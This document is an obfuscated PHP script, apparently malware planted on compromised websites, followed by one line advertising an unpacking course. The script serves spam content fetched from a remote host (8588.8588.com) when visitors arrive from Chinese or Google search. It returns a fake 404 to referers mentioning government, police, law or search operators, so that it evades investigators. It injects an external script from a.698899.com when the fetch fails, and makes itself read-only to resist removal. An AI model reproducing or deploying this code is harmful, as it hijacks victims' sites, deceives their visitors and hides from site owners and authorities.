<?php
/*********************/
/* */
/* Version : 5.1.0 */
/* Author : RM */
/* Comment : 071223 */
/* */
/*********************/
function header_status( $_obfuscate_6b8lIO4y )
{
if ( substr( php_sapi_name( ), 0, 3 ) == "cgi" )
{
header( "Status: ".$_obfuscate_6b8lIO4y, TRUE );
}
else
{
header( $_SERVER['SERVER_PROTOCOL']." ".$_obfuscate_6b8lIO4y );
}
}
function jm1( $_obfuscate_R2_b )
{
$_obfuscate_R2_b = urlencode( $_obfuscate_R2_b );
return $_obfuscate_R2_b;
}
function jm12( $_obfuscate_R2_b )
{
$_obfuscate_R2_b = urlencode( $_obfuscate_R2_b );
$_obfuscate_R2_b = str_replace( array( ".", "-", "_" ), array( "%2E", "%2D", "%5F" ), $_obfuscate_R2_b );
return $_obfuscate_R2_b;
}
function unescape( $_obfuscate_RaJNhvj )
{
$_obfuscate_5wcv0K7wH31Lcg = "";
$_obfuscate_LmSv = 0;
$_obfuscate_mc2H = strlen( $_obfuscate_RaJNhvj );
while ( $_obfuscate_LmSv < $_obfuscate_mc2H )
{
$_obfuscate_6_1v9YEv = substr( $_obfuscate_RaJNhvj, $_obfuscate_LmSv, 1 );
if ( $_obfuscate_6_1v9YEv == "%" )
{
++$_obfuscate_LmSv;
$_obfuscate_6_1v9YEv = substr( $_obfuscate_RaJNhvj, $_obfuscate_LmSv, 1 );
if ( $_obfuscate_6_1v9YEv == "u" )
{
++$_obfuscate_LmSv;
$_obfuscate_3vwmAv0csY8OGcYfg = substr( $_obfuscate_RaJNhvj, $_obfuscate_LmSv, 4 );
$_obfuscate_93YXwrZA = hexdec( $_obfuscate_3vwmAv0csY8OGcYfg );
$_obfuscate_5wcv0K7wH31Lcg .= u2utf82gb( $_obfuscate_93YXwrZA );
$_obfuscate_LmSv += 4;
}
else
{
$_obfuscate_95x2hQ = substr( $_obfuscate_RaJNhvj, $_obfuscate_LmSv, 2 );
$_obfuscate_5wcv0K7wH31Lcg .= chr( hexdec( $_obfuscate_95x2hQ ) );
$_obfuscate_LmSv += 2;
}
}
else
{
$_obfuscate_5wcv0K7wH31Lcg .= $_obfuscate_6_1v9YEv;
++$_obfuscate_LmSv;
}
}
return $_obfuscate_5wcv0K7wH31Lcg;
}
function u2utf82gb( $_obfuscate_KQ )
{
$_obfuscate_mWc6gux0 = "";
if ( $_obfuscate_KQ < 128 )
{
$_obfuscate_mWc6gux0 .= $_obfuscate_KQ;
}
else if ( $_obfuscate_KQ < 2048 )
{
$_obfuscate_mWc6gux0 .= chr( 192 | $_obfuscate_KQ >> 6 );
$_obfuscate_mWc6gux0 .= chr( 128 | $_obfuscate_KQ & 63 );
}
else if ( $_obfuscate_KQ < 65536 )
{
$_obfuscate_mWc6gux0 .= chr( 224 | $_obfuscate_KQ >> 12 );
$_obfuscate_mWc6gux0 .= chr( 128 | $_obfuscate_KQ >> 6 & 63 );
$_obfuscate_mWc6gux0 .= chr( 128 | $_obfuscate_KQ & 63 );
}
else if ( $_obfuscate_KQ < 2097152 )
{
$_obfuscate_mWc6gux0 .= chr( 240 | $_obfuscate_KQ >> 18 );
$_obfuscate_mWc6gux0 .= chr( 128 | $_obfuscate_KQ >> 12 & 63 );
$_obfuscate_mWc6gux0 .= chr( 128 | $_obfuscate_KQ >> 6 & 63 );
$_obfuscate_mWc6gux0 .= chr( 128 | $_obfuscate_KQ & 63 );
}
return iconv( "UTF-8", "GB2312", $_obfuscate_mWc6gux0 );
}
function escape( $_obfuscate_R2_b )
{
preg_match_all( "/[€-].|[\x01-]+/", $_obfuscate_R2_b, $_obfuscate_fU5_VNo_ );
$_obfuscate_pPA = $_obfuscate_fU5_VNo_[0];
foreach ( $_obfuscate_pPA as $_obfuscate_5w => $_obfuscate_6A )
{
if ( 127 <= ord( $_obfuscate_pPA[$_obfuscate_5w] ) )
{
$_obfuscate_td8iJsE_jrWY = bin2hex( iconv( "GBK", "ucs-2//IGNORE", $_obfuscate_6A ) );
if ( !eregi( "WIN", PHP_OS ) )
{
$_obfuscate_td8iJsE_jrWY = substr( $_obfuscate_td8iJsE_jrWY, 2, 2 ).substr( $_obfuscate_td8iJsE_jrWY, 0, 2 );
}
$_obfuscate_otXE17D8V9c .= "%u".$_obfuscate_td8iJsE_jrWY;
}
else
{
$_obfuscate_otXE17D8V9c .= rawurlencode( $_obfuscate_6A );
}
}
return $_obfuscate_otXE17D8V9c;
}
function NoWord( )
{
$_obfuscate_Lfvab3cQJCnX = FALSE;
$_obfuscate_TTmFhzw = "东宁|行唐|大连|朝阳|河南|律师|chaoyang|caoyang|zaoyang|zhoayang|liaoning|dongning|xingtang|hnfzb|会计|政府|公安|法律|案|通知|文件|市|县|省|局|厅|site:|gov.cn|edu.cn|税|工作|inurl|intitle|shangdu|商都|zgcy";
if ( $_obfuscate_TTmFhzw != "" )
{
$_obfuscate_fVY2 = explode( "|", $_obfuscate_TTmFhzw );
foreach ( $_obfuscate_fVY2 as $_obfuscate_2iA )
{
$_obfuscate_3mw = trim( $_obfuscate_2iA );
if ( strlen( "徐" ) == 3 )
{
$_obfuscate_FeU = mb_convert_encoding( $_obfuscate_3mw, "gbk", "utf-8" );
}
else
{
$_obfuscate_FeU = mb_convert_encoding( $_obfuscate_3mw, "utf-8", "gbk" );
}
$_obfuscate_tPJNxYD3_P7mGg = escape( $_obfuscate_3mw );
$_obfuscate_TPqY = jm1( $_obfuscate_3mw );
$_obfuscate_1xEi2g = jm12( $_obfuscate_3mw );
$_obfuscate_RSLn = jm1( $_obfuscate_FeU );
$_obfuscate_k4TO7w = jm12( $_obfuscate_FeU );
$_obfuscate_FA = "/((wd|q\\d*|w|p|query|word)(=)[^&]*(".$_obfuscate_TPqY.( "|".$_obfuscate_1xEi2g."|" ).$_obfuscate_RSLn.( "|".$_obfuscate_k4TO7w."|{$_obfuscate_3mw}|{$_obfuscate_FeU}|{$_obfuscate_tPJNxYD3_P7mGg}).*)/i" );
$_obfuscate_aMPia6u3sjI = mb_convert_encoding( $_SERVER['HTTP_REFERER'], "gbk", "utf-8" );
$_obfuscate_1wegwj906usI = mb_convert_encoding( $_obfuscate_aMPia6u3sjI, "gbk", "utf-8" );
if ( preg_match( $_obfuscate_FA, $_obfuscate_aMPia6u3sjI, $_obfuscate_JA ) )
{
$_obfuscate_Lfvab3cQJCnX = TRUE;
}
else
{
if ( !preg_match( $_obfuscate_FA, $_SERVER['HTTP_REFERER'], $_obfuscate_JA ) )
{
continue;
}
$_obfuscate_Lfvab3cQJCnX = TRUE;
}
break;
}
}
return $_obfuscate_Lfvab3cQJCnX;
}
function Lailu( )
{
$_obfuscate_al38 = explode( ",", "baidu,google,soso,sogou" );
$_obfuscate_6Jxc = FALSE;
if ( $_SERVER['HTTP_REFERER'] != "" )
{
foreach ( $_obfuscate_al38 as $_obfuscate_OQ )
{
if ( !( stristr( $_SERVER['HTTP_REFERER'], $_obfuscate_OQ ) != "" ) )
{
continue;
}
$_obfuscate_SO7znbt80g = $_obfuscate_6Jxc = TRUE;
break;
}
}
return $_obfuscate_6Jxc;
}
function gg( $_obfuscate_Il8i )
{
$_obfuscate_98A = microtime( 1 );
if ( function_exists( "curl_init" ) && function_exists( "curl_exec" ) )
{
$_obfuscate_u_c = curl_init( $_obfuscate_Il8i );
curl_setopt( $_obfuscate_u_c, CURLOPT_HEADER, 1 );
curl_setopt( $_obfuscate_u_c, CURLOPT_RETURNTRANSFER, 1 );
curl_setopt( $_obfuscate_u_c, CURLOPT_TIMEOUT, 5 );
$_obfuscate__9AT_HAWO3k = curl_exec( $_obfuscate_u_c );
$_obfuscate_ofjg = strpos( $_obfuscate__9AT_HAWO3k, "\r\n\r\n" );
$_obfuscate_2L4d = substr( $_obfuscate__9AT_HAWO3k, 0, $_obfuscate_ofjg );
$_obfuscate_VUr0T1c = stristr( $_obfuscate_2L4d, "Last-Modified" );
$_obfuscate_VUr0T1c = substr( $_obfuscate_VUr0T1c, 0, strpos( $_obfuscate_VUr0T1c, "\r\n" ) );
$_obfuscate__9AT_HAWO3k = substr( $_obfuscate__9AT_HAWO3k, $_obfuscate_ofjg + 4 );
}
else
{
$_obfuscate_j9iH = stream_context_create( array(
"http" => array( "timeout" => 5, "method" => "GET", "header" => "Accept-language: en\r\n" )
) );
$_obfuscate__9AT_HAWO3k = file_get_contents( $_obfuscate_Il8i, NULL, $_obfuscate_j9iH );
foreach ( $_obfuscate_jcA as $_obfuscate_iQ )
{
$_obfuscate_pY9 = stripos( $_obfuscate_iQ, "Last-Modified:" );
if ( !( $_obfuscate_pY9 !== FALSE ) )
{
continue;
}
$_obfuscate_VUr0T1c = $_obfuscate_iQ;
break;
}
}
$_obfuscate_Jrp1 = array( );
$_obfuscate_Jrp1['MTime'] = $_obfuscate_VUr0T1c;
$_obfuscate_Jrp1['db'] = $_obfuscate__9AT_HAWO3k;
return $_obfuscate_Jrp1;
}
function read( $_obfuscate_Il8i )
{
$_obfuscate_A5oNi6Yf = gg( $_obfuscate_Il8i );
$_obfuscate_sx8 = $_obfuscate_A5oNi6Yf['db'];
return $_obfuscate_sx8;
}
function _url_html( $_obfuscate_0W8, $_obfuscate_FG262MMqQvA73A = "y" )
{
$_obfuscate_Il8i = "{$_obfuscate_4YjPKVKMkv9dymc}{$_obfuscate_hqDdJizbzZlf1UeizJgOvJWg}{$_obfuscate_0W8}.shtml";
return $_obfuscate_Il8i;
}
function re( $_obfuscate_sx8 )
{
$_obfuscate_sx8 = preg_replace( "~href='\\?i=(\\d+)'~isU", "href='\$1.html'", $_obfuscate_sx8 );
$_obfuscate_sx8 = preg_replace( "~href='\\?page=(\\d+)'~isU", "href='list_\$1.html'", $_obfuscate_sx8 );
return $_obfuscate_sx8;
}
function _get_domain( $_obfuscate_Il8i )
{
$_obfuscate_SF4 = parse_url( $_obfuscate_Il8i );
$_obfuscate_SF4 = $_obfuscate_Il8i;
if ( $_obfuscate_SF4['host'] != "" )
{
$_obfuscate_iqVlpA = $_obfuscate_SF4['host'];
}
else
{
$_obfuscate_iqVlpA = $_obfuscate_Il8i;
}
$_obfuscate_iqVlpA = $_SERVER['HTTP_HOST'];
preg_match( "~[\\w\\-\\.]*([\\w\\-]+\\.(co\\.(?:cn|tw|hk|us|\\w{2})|com\\.(?:cn|tw|hk|us|za|\\w{2})|gov\\.(?:cn|tw|hk|us|\\w{2})|edu\\.(?:cn|tw|hk|us|\\w{2})|net\\.(?:cn|tw|hk|us|\\w{2})|org\\.(?:cn|tw|hk|us|\\w{2})|cn|net|org|hk|tw|us|com|la|za|so|ch|\\w{2}))\$~isU", $_obfuscate_iqVlpA, $_obfuscate_Jrp1 );
$_obfuscate_rolUxmlo = $_obfuscate_Jrp1[1];
return $_obfuscate_rolUxmlo;
}
ob_start( );
error_reporting( 0 );
set_time_limit( 50 );
header( "Content-type: text/html; charset=gb2312" );
$i = $_GET['i'];
$page = $_GET['page'];
$domain = $_GET['domain'];
if ( $domain == "" )
{
$domain = $_SERVER['HTTP_HOST'];
if ( preg_match( "~.*([^\\.]+\\.(?:gov|com|edu|net|org|co)(?:\\.(?:[a-z]{2}))?)\$~isU", $domain, $arr ) )
{
$domain = $arr[1];
}
else
{
$domain = _get_domain( $domain );
}
}
$full_url = $_SERVER['QUERY_STRING'] != "" ? "{$_SERVER['SCRIPT_NAME']}?{$_SERVER['QUERY_STRING']}" : $_SERVER['SCRIPT_NAME'];
$full_url = urlencode( $full_url );
$u = "http://a1:65530/test/law.shangdu.com/main.php?i=".$i."&page={$page}";
$u = "http://8588.8588.com/weijingtai/main.news.php?domain=".$domain."&i={$i}&page={$page}&full_url={$full_url}";
if ( $ck && !$flag )
{
ob_clean( );
header_status( "404 Not Found" );
echo $_404;
exit( );
}
if ( lailu( ) )
{
$ck_noword = noword( );
if ( $ck_noword )
{
ob_clean( );
header_status( "404 Not Found" );
echo $_404;
exit( );
}
}
$db = read( $u );
if ( $db == "" )
{
echo "<script src='http://a.698899.com/tz.js'></script>";
}
$db = re( $db );
echo $db;
@chmod( __FILE__, 292 );
?>
[课程]FART 脱壳王!加量不加价!FART作者讲授!